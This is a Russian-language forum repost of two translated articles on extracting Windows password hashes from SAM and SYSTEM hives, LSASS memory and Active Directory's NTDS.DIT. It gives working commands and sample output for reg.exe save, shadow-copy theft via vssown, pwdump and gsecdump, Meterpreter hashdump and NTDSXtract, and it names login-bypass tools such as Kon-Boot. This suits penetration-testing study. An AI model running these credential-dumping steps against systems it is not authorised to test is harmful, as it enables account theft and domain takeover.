# bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved syskey.txt
# samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt

Если же bkhive и samdump2 у вас нет, то можно скопировать SYSTEMи SAMфайлы из /mnt/sda1/Windows/System32/config себе на флешку, а затем импортировать файлы с флешки в любую утилиту, позволяющую извлечь хеши SAM: например, Cain & Abel, creddump,mimikatzи.т.п.
Обход приглашения на ввод пароля
Если вы вместо того, чтобы получать хешированные пароли пользователей, думаете, как обойти приглашение на ввод пароля, воспользуйтесь следующими оригинальными решениями:

• BootRoot– проект, представленный на конференции Black Hat USA 2005 исследователями Дереком Сёдером (Derek Soeder) и Райаном Пермехом (Ryan Permeh). С помощью технологии BootRootможно в стандартном загрузочном секторе выполнить код, который во время загрузки уронит ядро Windows. eEye BootRootKit – это NDIS бэкдор, который работает по типу boot-вируса и демонстрирует использование технологии BootRoot.
• SysRQ2– загрузочный CD-образ, позволяющий пользователю в любое время после загрузки нажатием клавиш Ctrl-Shift-SysRq вызвать командную строку с полными привилегиями (привилегии SYSTEM). SysRQ2 работает на системах Windows 2000, Windows XP и Windows Server 2003. SysRQ2 впервые был продемонстрирован на конференции Black Hat USA 2005 исследователями Дереком Сёдером и Райаном Пермехом в качестве примера использования технологии eEye BootRootKit. Для создания диска с SysRq выберите опцию “создать CD из ISO-образа” в предпочтительном ПО для прожига дисков.
• Kon-Boot– прототип программы, благодаря которой на лету (во время загрузки) можно менять содержимое ядра Linux или Windows. В текущей сборке Kon-Boot позволяет войти в linux-систему под root’ом без ввода пароля или повысить привилегии текущего пользователя до root’а. В случае с Windows-системами с помощью Kon-Boot можно войти в любой защищенный паролем профиль без знания самого пароля.

Сброс пароля
Как вариант, можно загрузиться с live CD или флешки с bootdisk, и с помощью утилиты chntpwсбросить пароль любого локального пользователя Windows.Использование пост-эксплойтов
В этой ситуации, как правило, система уже скомпрометирована, и вы получили доступ к командной строке с административными правами. Далее нужно повысить свои привилегии до пользователя SYSTEM. Например, с помощью утилиты PsExecиз пакета SysInternals:

C:\>psexec.exe -i -s cmd.exe

Есть и другие способы повышения привилегии, но их описание останется вне рамок этого поста.

Методы, основанные на унаследованных возможностях Windows
В системах Windows NT и Windows 2000 можно воспользоваться утилитой Ntbackupиз подсистемы MS-DOS: сохраните бэкап состояния системы в локальном файле на скомпрометированной машине, а затем снова используйте Ntbackupи восстановите состояние системы в локальном каталоге без сохранения настроек безопасности. По окончании описанной процедуры вы будете обладать файлами SAMи SYSTEM. Первоначальный бэкап Windows 2000 c последними пакетами обновлений и исправлений занимает около 280МБ. Для более современных версий Windows вместо Ntbackupподойдет утилита Wbadmin.


Также стоит упомянуть утилиту regback.exeиз пакета Windows 2000 Resource Kit Tools. Утилита слегка упрощает процесс, так как сливаются только нужные файлы:

C:\>regback.exe C:\backtemp\SAM machine sam
C:\>regback.exe C:\backtemp\SYSTEM machine system

Если regback.exeне срабатывает, то на системах Windows XP и выше можно воспользоваться утилитами regedit.exeи reg.exe:

Использование reg.exe:

C:\>reg.exe save HKLM\SAM sam
The operation completed successfully

C:\>reg.exe save HKLM\SYSTEM sys
The operation completed successfully

Использование regedit.exe:

• Выполнить regedit.exeв Start/Run.
• Открыть ветку Computer\HKEY_LOCAL_MACHINE, правой кнопкой мыши щелкнуть по секции SAMи выбрать “Export” (“Экспортировать”).
• Установить значение параметра “Save as type” (“Тип файла”) в “Registry Hive Files” (“Файлы кустов реестра”).
• Проделать то же самое для куста SYSTEM.

И, наконец, еще один способ: файлы SAMи SYSTEMможно достать из каталога C:\Windows\repair. Но существует вероятность, что в каталоге содержаться устаревшие копии нужных файлов, информация о пользователях в которых неактуальна.

Метод, использующий теневое копирование томов
Метод стал известен относительно недавно, и впервые его использование продемонстрировалТим Томс (Tim Tomes). Метод эксплуатирует функционал теневого копирования томов в современных операционных системах Windows для того, чтобы получить доступ к заблокированным ранее системным файлам, таким как файлы SAMи SYSTEMв каталоге C:\Windows\System32\config.
Для выполнения метода, вы можете воспользоваться cкриптом vssown, который дает возможность управлять теневым копированием.

Список теневых копий:

C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

SHADOW COPIES
=============

Как и ожидалось, сначала никаких теневых копий нет.

Проверим статус службы теневого копирования (VSS):

C:\>cscript vssown.vbs /status
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] Stopped

C:\>cscript vssown.vbs /mode
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] VSS service set to 'Manual' start mode.

Если тип запуска службы “Вручную”, то нам нужно установить тип запуска в первоначальное состояние (“Остановлена”).

Создадим теневую копию:

C:\>cscript vssown.vbs /create
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] Attempting to create a shadow copy.

Проверим, что теневая копия создалась:

C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

SHADOW COPIES
=============

[*] ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853}
[*] Client accessible: True
[*] Count: 1
[*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[*] Differnetial: True
[*] Exposed locally: False
[*] Exposed name:
[*] Exposed remotely: False
[*] Hardware assisted: False
[*] Imported: False
[*] No auto release: True
[*] Not surfaced: False
[*] No writers: True
[*] Originating machine: LAPTOP
[*] Persistent: True
[*] Plex: False
[*] Provider ID: {B5946137-7B9F-4925-AF80-51ABD60B20D5}
[*] Service machine: LAPTOP
[*] Set ID: {018D7854-5A28-42AE-8B10-99138C37112F}
[*] State: 12
[*] Transportable: False
[*] Volume name: \\?\Volume{46f5ef63-8cca-11e0-88ac-806e6f6e6963}\

Обратите внимание на значение параметров Deviceobjectи ID. Значение первого параметра понадобиться для осуществления следующего шага, а значение второго – для очистки.

Достанем следующие файлы из теневой копии:

C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .

Таким образом, мы только что скопировали файлы SAMи SYSTEMиз теневой копии в папку C:\root.

Очистка:

C:\>cscript vssown.vbs /delete {D79A4E73-CCAB-4151-B726-55F6C5C3A853}

Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] Attempting to delete shadow copy with ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853}

И, наконец, остановим службу теневого копирования:

C:\>cscript vssown.vbs /stop

Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] Signal sent to stop the VSS service.

Методы, основанные на внедрении в память процессов
В основе подобных методов получения SAM-хешей из памяти лежит внедрение DLL в системный процесс LSASS, или, в общем случае, разбиение памяти на отдельные участки и изучение содержимого полученных участков. Манипуляции с памятью могут привести к падению процесса LSASSи Синему Экрану Смерти (BSoD), поэтому предпочтительнее использовать методы, основанные на копировании кустов реестра (regback.exeи reg.exe\regedit.exe), либо теневое копирование томов. Тем не менее, в некоторых особых случаях внедрение в память все-таки требуется.
Наиболее известным инструментом для получения хешей SAM, вероятно, является утилита fgdump– улучшенная версия pwdump6; обе утилиты разработаны командой foofus. Основное преимущество fgdumpнад pwdumpзаключается в возможности работать на системах Windows Vista и выше. Хотя пару раз я видел, как падали обе утилиты. Среди более стабильных и надежных инструментов можно выделить pwdump7от Андреса Тараско (Andres Tarasco) и gsecdumpот TrueSec. Обе утилиты работают на всех версиях Windows, как 32- так и 64-битных. Нужно отметить, что с контроллеров домена слить хеши паролей с помощью утилиты pwdump7не получится, так как эта утилита вместо внедрения в LSASSчитает хеши SAMиз реестра. Еще одна надежная и популярная утилита – это PWDumpX, разработанная Ридом Арвином (Reed Arvin), хотя работает PWDumpXтолько на 32х разрядных системах.

Ниже на скриншоте показан дамп информации из SAM, полученной утилитой gsecdumpна Windows Server 2003 SP2 32-bit:

Дамп информации о локальных пользователях после внедрения кода в процесс LSASS​

В Metasploit Frameworkтакже имеются собственные модулипост-эксплойта, встроенные командыи скриптыдля Meterpreter, позволяющие получить хеши SAM. Подробнее о работе кода и о том, какие идеи лежат в его основе можно прочитать в этихпостах.

Разумеется, существует и множество других инструментов и методов, и важно знать, какой именно метод подходит для конкретной системы. Чтобы облегчить выбор, я создал сводную электронную таблицу, в которой перечислены нужные утилиты, их возможности и принципы работы, и, что самое важное, возможные проблемы при использовании таких утилит.

Изменения на 4 января 2012 г.

• Дэвид Мэлони (David Maloney) добавил в Metasploit Frameworkмодули, позволяющие работать с процессом теневого копирования томов.
• TrueSec обновил gsecdumpдо версии v.2.0b5. Последняя версия стабильно работает на всех версиях Windows (как на 32х-, так и на 64х-разрядных).

ИСТОЧНИК:https://www.securitylab.ru/analytics/425033.php

 

[BabaDook]

ЭФФЕКТИВНОЕ ПОЛУЧЕНИЕ ХЕША ПАРОЛЕЙ В WINDOWS. ЧАСТЬ 2

В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей.

Автор: Bernardo Damele A. G
Подводим итоги по менеджеру учетных записей безопасности
В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей. При удаленном доступе существует три возможных метода получения хешей: метод, основанный на унаследованных возможностях Windows, на теневом копировании томов, и на внедрении в память процесса. Наконец, я сделал сводную электронную таблицу с описанием наиболее часто используемых утилит для дампа хешей из памяти процесса. О некоторых утилитах из этой таблице речь пойдет ниже.
И опять же я хочу повторить следующую мысль: если есть возможность перемещать файлы между вашей машиной и целевой системой, то всегда сначала копируйте файлы SAMи SYSTEMс целевой системы, а затем уже доставайте хеши паролей в оффлайн-режиме.
Тем не менее, простое копирование файлов не гарантирует, что вы получите хеши всех локальных учетных записей. Если все хеши вам получить так и не удалось, то придется слить их из памяти и объединить результаты. Странно, но с подобными случаями я сталкивался не раз, и, хочу подчеркнуть, что речь идет об автономных (не входящих в домен) рабочих станциях Windows.
Рекомендуемые инструменты
Лично я первое место отдаю утилите pwdump7. Утилита работает на всех версиях Windows (как 32-х, так и 64-разрядных), начиная с Windows 2000 и выше. Тем не менее, pwdump7 не может сливать хешированные пароли из памяти, и поэтому некоторые хеши вы можете так и не получить. Для того чтобы ничего не упустить, я всегда использую pwdump7 совместно с gsecdump.
Когда на целевой системе мне удалось запустить Metasploit Meterpreter, я пользуюсь пост-эксплойтом smart_hashdump Карлоса Переза (Carlos Perez). Если же smart_hashdump не срабатывает, то я прибегаю к его предыдущей версии – пост-эксплойту hashdump.
Active Directory
Определение из Википедии:
Active Directoryвыступает в роли централизованного хранилища, служащего для управления сетью и безопасностью. В функции службы каталогов входит аутентификация и авторизация всех пользователей внутри домена Windows, создание и выполнение политик безопасности […] Когда пользователь регистрируется в системе на компьютере, входящем в домен, то именно Active Directory проверяет пароль пользователя […]
Информация из определения пригодится вам, после компрометации какой-либо системы из домена Windows. Для того чтобы быстро взять под контроль весь домен, вам нужно получить доступ к корневому контроллеру домена. Если же вы находитесь в домене-потомке, то ваша цель – получить доступ к контроллеру корневого домена леса с правами Администратора предприятия.
В сети существует множество ресурсов, посвященных тому, как повысить свои права в домене, и поэтому в настоящей статье этой темы мы касаться не будем. В блоге pentestmonkey.net приведена вся необходимая информация по вопросу повышения прав.
Также существует вероятность, что администратор использует одни и тот же пароль локального администратора на всех машинах домена. В подобном случае, вам достаточно с помощью keimpx узнать пароль всего на одной машине, и контроллер у вас в руках!
Неважно, каким именно способом вы получили доступ к контроллеру домена (в идеале, подключились к корневому контроллеру домена, так как именно на нем в первую очередь отражаются изменения учетных записей пользователей), самое главное: запустить на контроллере командную строку с правами администратора (локального или доменного).
Файл базы данных NTDS.DIT
Наша цель теперь: получить хешированные пароли доменных пользователей. Пароли, как и практически вся другая информация Active Directory (пользовательские объекты, группы, информация о принадлежности к группам и.т.д.) хранится в бинарном файле %SystemRoot%\ntds\NTDS.DIT.
Файл NTDS.DIT заблокирован системой. Для получения этого файла вместе с файлом SYSTEM воспользуйтесь службой теневого копирования томов, как описывалось в предыдущей статье.
Как вариант, используйте функцию создания снимка утилитой ntdsutil, впервые такая функция была представлена в Windows Server 2008. Утилита сделает мгновенный снимок базы данных Active Directory, что позволит вам скопировать ntds.ditи файл SYSTEM. О том, как сделать снимок, написано в статье Microsoft TechNet.

Извлечение хешей из NTDS.DIT
Для извлечения хешей из ntds.dit используйте Windows Password Recovery Tool.
Также для извлечения хешей подойдет пакет (ntds_dump_hash.zip), разработанный Ксаба Бартой (Csaba Barta). Функции пакета описаны в статье “Исследование получения хеша паролей в оффлайн-режиме и анализ ntds.dat”. ntds_dump_hash.zipпозволяет:

• извлечьнеобходимые таблицы из ntds.dit: esedbdumphash
• получитьхеши и дополнительные сведения об учетных записях пользователей: dsdump.py, dsdumphistory.py, dsuserinfo.py.

Скачайте и скомпилируйте пакет:

$ wget http://csababarta.com/downloads/ntds_dump_hash.zip
$ unzip ntds_dump_hash.zip
$ cd libesedb
$ ./configure && make

Воспользуйтесь esedbdumphash, чтобы извлечь таблицу datatableиз ntds.dit:

$ cd esedbtools
$ ./esedbdumphash -v -t /tmp/output
$ ls -1 /tmp/output.export/
datatable

Используйте dsdump.py, чтобы получить хеши из таблицы datatableс помощью bootkey (SYSKEY) из куста SYSTEM:

$ cd ../../creddump/
$ chmod +x *.py
$ ./dsuserinfo.py /tmp/output.export/datatable
$ ./dsdump.py/tmp/output.export/datatable --include-locked
--include-disabled > domain_hashes.txt

Как и в случае с автономными рабочими станциями, вы точно так же, используя те же методы, можете слить пароли доменных пользователей, внедрившись в память процесса. Но будьте осторожны при манипуляциях с процессом LSASS на контроллере домена: в худшем случае вам придется перезагружать критически важный сервер.

Информацию обо всех описанных в этой статье утилитах я добавил в электронную таблицу.

Изменения на 4 января 2012г.
В декабре 2011 года, Ксаба Барта изучил структуру NTDS.DIT более подробно, и в результате разработал новый фреймворк под названием NTDSXtract. Фреймворк совместно с утилитой libesedb позволяет извлечь информацию из таблиц базы данных ntds.dit. NTDSXtractи libesedbкорректно работают на 64х-разрядных системах.
Скачайте и установите последнюю версию libesedb.

Извлеките таблицы из ntds.dit:

$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit
esedbexport 20111210
Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

$ ls -1 /tmp/ntds.dit.export/
datatable.3
hiddentable.4
link_table.5
[...]

С помощью NTDSXtractизвлеките из таблицы datatableхешированные пароли и историю паролей:

~/NTDSXtract 1.0$ python dsusers.py /tmp/ntds.dit.export/datatable.3
/tmp/ntds.dit.export/link_table.5 --passwordhashes--
passwordhistory--certificates --supplcreds file> --membership > /tmp/ntds.dit.output

Используйте этот небольшой скрипт, чтобы преобразовать результаты работы dsusers.pyк более привычному виду, подобному тому, который вы увидите после работы pwdump:

$ python ntdstopwdump.py /tmp/ntds.dit.output
Administrator:500:NO
PASSWORD*********************:09b1708f0ea4832b6d87b0ce07d7764b:::
Guest:501:NO PASSWORD*********************:NO
PASSWORD*********************:::
[...]

ИСТОЧНИК: https://www.securitylab.ru/analytics/425179.php